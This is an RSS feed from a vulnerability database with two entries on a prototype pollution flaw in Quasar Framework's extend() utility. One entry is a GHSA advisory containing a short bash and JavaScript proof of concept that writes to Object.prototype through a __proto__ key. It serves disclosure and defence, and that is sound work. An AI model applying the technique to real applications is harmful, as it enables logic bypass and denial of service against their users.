<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 09 Oct 2026 10:06:37 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-73647</title>
      <link>https://db.gcve.eu/vuln/fkie_cve-2026-73647</link>
      <description>&lt;p&gt;Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.22.0, the public extend() utility in ui/src/utils/extend/extend.js recursively copied attacker-controlled object keys during extend(true, target, source) deep merges without rejecting an own __proto__ property. The merge could descend into the prototype object and write attacker-controlled properties to Object.prototype in the same JavaScript process. Applications that passed user-controlled or partially user-controlled objects to extend() could experience logic bypass, unsafe default-option injection, denial of service, or other application-specific impact when polluted properties were later consumed. This issue is fixed in version 2.22.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.22.0, the public extend() utility in ui/src/utils/extend/extend.js recursively copied attacker-controlled object keys during extend(true, target, source) deep merges without rejecting an own __proto__ property. The merge could descend into the prototype object and write attacker-controlled properties to Object.prototype in the same JavaScript process. Applications that passed user-controlled or partially user-controlled objects to extend() could experience logic bypass, unsafe default-option injection, denial of service, or other application-specific impact when polluted properties were later consumed. This issue is fixed in version 2.22.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/fkie_cve-2026-73647</guid>
    </item>
    <item>
      <title>GHSA-3r53-75j5-3g7j — Quasar: Prototype pollution in the extend() utility</title>
      <link>https://db.gcve.eu/vuln/ghsa-3r53-75j5-3g7j</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: quasar&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`quasar@2.20.1`, the latest published version at the time of testing, appears to be vulnerable to prototype pollution through the public `extend()` utility exported from the package root.&lt;/p&gt;
&lt;p&gt;When `extend(true, target, source)` is used for a deep merge, attacker-controlled object keys are recursively copied into the target object without blocking prototype-pollution primitives such as `__proto__`, `constructor`, or `prototype`.&lt;/p&gt;
&lt;p&gt;This can allow attacker-controlled properties to be written to `Object.prototype`.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Affected source:&lt;/p&gt;
&lt;p&gt;```text
src/utils/extend/extend.js
```&lt;/p&gt;
&lt;p&gt;Distributed files include:&lt;/p&gt;
&lt;p&gt;```text
dist/quasar.server.prod.js
dist/quasar.server.prod.cjs
dist/quasar.client.js
```&lt;/p&gt;
&lt;p&gt;The package root publicly exports `extend`. During deep merge, source object keys are recursively assigned into the target object. If the source object contains an own `__proto__` property, the merge can descend into the prototype object and assign attacker-controlled properties onto `Object.prototype`.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```bash
rm -rf /tmp/quasar-extend-pp-poc
mkdir /tmp/quasar-extend-pp-poc
cd /tmp/quasar-extend-pp-poc&lt;/p&gt;
&lt;p&gt;npm init -y &amp;gt;/dev/null
npm install quasar@2.20.1 vue@3.5.31 &amp;gt;/dev/null&lt;/p&gt;
&lt;p&gt;cat &amp;gt; hack.mjs &amp;lt;&amp;lt;&amp;#39;JS&amp;#39;
import { extend } from &amp;#39;quasar&amp;#39;;&lt;/p&gt;
&lt;p&gt;delete Object.prototype.polluted;&lt;/p&gt;
&lt;p&gt;extend(true, {}, {
  [&amp;#39;__proto__&amp;#39;]: {
    polluted: &amp;#39;yes&amp;#39;
  }
});&lt;/p&gt;
&lt;p&gt;console.log(({}).polluted);&lt;/p&gt;
&lt;p&gt;delete Object.prototype.polluted;
JS&lt;/p&gt;
&lt;p&gt;node ./hack.mjs
```&lt;/p&gt;
&lt;p&gt;Observed output:&lt;/p&gt;
&lt;p&gt;```text
yes
```&lt;/p&gt;
&lt;p&gt;Expected out…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: quasar&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`quasar@2.20.1`, the latest published version at the time of testing, appears to be vulnerable to prototype pollution through the public `extend()` utility exported from the package root.&lt;/p&gt;
&lt;p&gt;When `extend(true, target, source)` is used for a deep merge, attacker-controlled object keys are recursively copied into the target object without blocking prototype-pollution primitives such as `__proto__`, `constructor`, or `prototype`.&lt;/p&gt;
&lt;p&gt;This can allow attacker-controlled properties to be written to `Object.prototype`.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Affected source:&lt;/p&gt;
&lt;p&gt;```text
src/utils/extend/extend.js
```&lt;/p&gt;
&lt;p&gt;Distributed files include:&lt;/p&gt;
&lt;p&gt;```text
dist/quasar.server.prod.js
dist/quasar.server.prod.cjs
dist/quasar.client.js
```&lt;/p&gt;
&lt;p&gt;The package root publicly exports `extend`. During deep merge, source object keys are recursively assigned into the target object. If the source object contains an own `__proto__` property, the merge can descend into the prototype object and assign attacker-controlled properties onto `Object.prototype`.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```bash
rm -rf /tmp/quasar-extend-pp-poc
mkdir /tmp/quasar-extend-pp-poc
cd /tmp/quasar-extend-pp-poc&lt;/p&gt;
&lt;p&gt;npm init -y &amp;gt;/dev/null
npm install quasar@2.20.1 vue@3.5.31 &amp;gt;/dev/null&lt;/p&gt;
&lt;p&gt;cat &amp;gt; hack.mjs &amp;lt;&amp;lt;&amp;#39;JS&amp;#39;
import { extend } from &amp;#39;quasar&amp;#39;;&lt;/p&gt;
&lt;p&gt;delete Object.prototype.polluted;&lt;/p&gt;
&lt;p&gt;extend(true, {}, {
  [&amp;#39;__proto__&amp;#39;]: {
    polluted: &amp;#39;yes&amp;#39;
  }
});&lt;/p&gt;
&lt;p&gt;console.log(({}).polluted);&lt;/p&gt;
&lt;p&gt;delete Object.prototype.polluted;
JS&lt;/p&gt;
&lt;p&gt;node ./hack.mjs
```&lt;/p&gt;
&lt;p&gt;Observed output:&lt;/p&gt;
&lt;p&gt;```text
yes
```&lt;/p&gt;
&lt;p&gt;Expected out…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-3r53-75j5-3g7j</guid>
    </item>
  </channel>
</rss>
